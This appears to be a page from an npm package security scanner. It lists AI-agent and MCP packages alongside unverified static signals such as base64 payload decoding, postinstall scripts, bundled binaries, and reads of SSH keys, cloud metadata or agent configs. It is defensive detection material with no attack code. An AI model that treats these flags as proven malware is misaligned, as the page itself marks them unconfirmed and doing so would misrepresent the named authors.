  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/web/assets/index-B8yWU9nx.js:149

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest you — 🪝
Package purpose: ⬢ The local black-box flight recorder for AI agents. Zero deps, hash-chained session logs.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/chain.js:58 (+5 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/src/adapters/mcp.js:335
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/src/adapters/mcp.js:23 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: x402 v2-compatible fetch wrapper for AI agents and apps. payAndFetch() handles the 402 challenge, signs, and retries automatically on Robinhood Chain.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/index.js:64
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:185
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/index.js:64

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest jiuaiwo — 🪝 🌐
Package purpose: 给 DeepSeek Harness 打补丁:在任意会话把文件主动投递到 IM(微信)、按 cron 跑定时任务、工作区活动呼吸灯(含折叠未读提示)、会话标题栏活跃指示、对话完成提示音,另有一键重启按钮。
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in package/lib/client.js:23665
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/lib/client.js:2949
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/client.js:23576
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/host/im-connect.js:61 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest ibraacode — 🪝
Package purpose: Static Dashboard Builder — Turn CSV/JSON/YAML into beautiful static dashboards
Static code signals:
  • LIFECYCLE_SCRIPT: 'postinstall' -> 'node install.js'
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/iviz-windows-arm64.exe' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/iviz.js:3

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: GlassPane Harness — evidence-honest GUI verification harness for macOS apps (opencode fork with GlassPane's native gp_* tool surface)
Static code signals:
  • LIFECYCLE_SCRIPT: 'postinstall' -> 'node ./postinstall.mjs'
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/glasspane-harness.exe' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/postinstall.mjs:46

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: MCP server for the Cloud Foundry V3 API on SAP BTP. Runs locally over stdio using your cf CLI login, or hosted on BTP.
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/auth.mjs:70 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/auth.mjs:37 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/lib/tools.mjs:248
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/lib/tools.mjs:248

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: MCP server for Priors on Robinhood Chain: pay x402 URLs in USDG, read balances, credit lines and scores, borrow and repay. Key from PRIORS_KEY only.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/priors-mcp.mjs:25 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/src/server.mjs:221
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/server.mjs:417
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/src/server.mjs:221

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Numman Ali — 🪝 🌐
Package purpose: OpenAI ChatGPT (Codex backend) OAuth auth plugin for opencode - use your ChatGPT Plus/Pro subscription instead of API credits
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/lib/auth/auth.js:95
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/lib/auth/auth.js:54 (+5 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/lib/auth/auth.js:95
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/lib/auth/browser.js:28 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/server/acp.js:141 (+10 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/server/quota.js:21
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/server/quota.js:157
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/server/quota.js:21

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: 50heads MCP: ask fifty verified real people from Claude, ChatGPT, Cursor or your own agent.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/cli.js:7096 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/cli.js:4860 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cli.js:7315 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:25 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Yeasaleh — 🪝 🌐
Package purpose: Secure, isomorphic image & video optimizer for Node.js and the browser. Compress photos to WebP/AVIF and videos with H.264/VP9 CRF (typically 70-90% smaller, original dimensions kept) using sharp, fluent-ffmpeg and ffmpeg.wasm. Includes Express & Next.js
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/browser/browserFetch.js:67
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/dist/security/ip.js:17 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/core/util.js:22

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Artyom Churbanov — 🪝
Package purpose: Deterministic calculation tools for AI agents as a local MCP server. Run `npx @rickrosten/agent-deterministic-tools` to set up Claude, Cursor or OpenAI.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/chunk-OCZTBMMO.js:139
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/chunk-OCZTBMMO.js:848
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/chunk-OCZTBMMO.js:122

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

LINK COPIED TO CLIPBOARD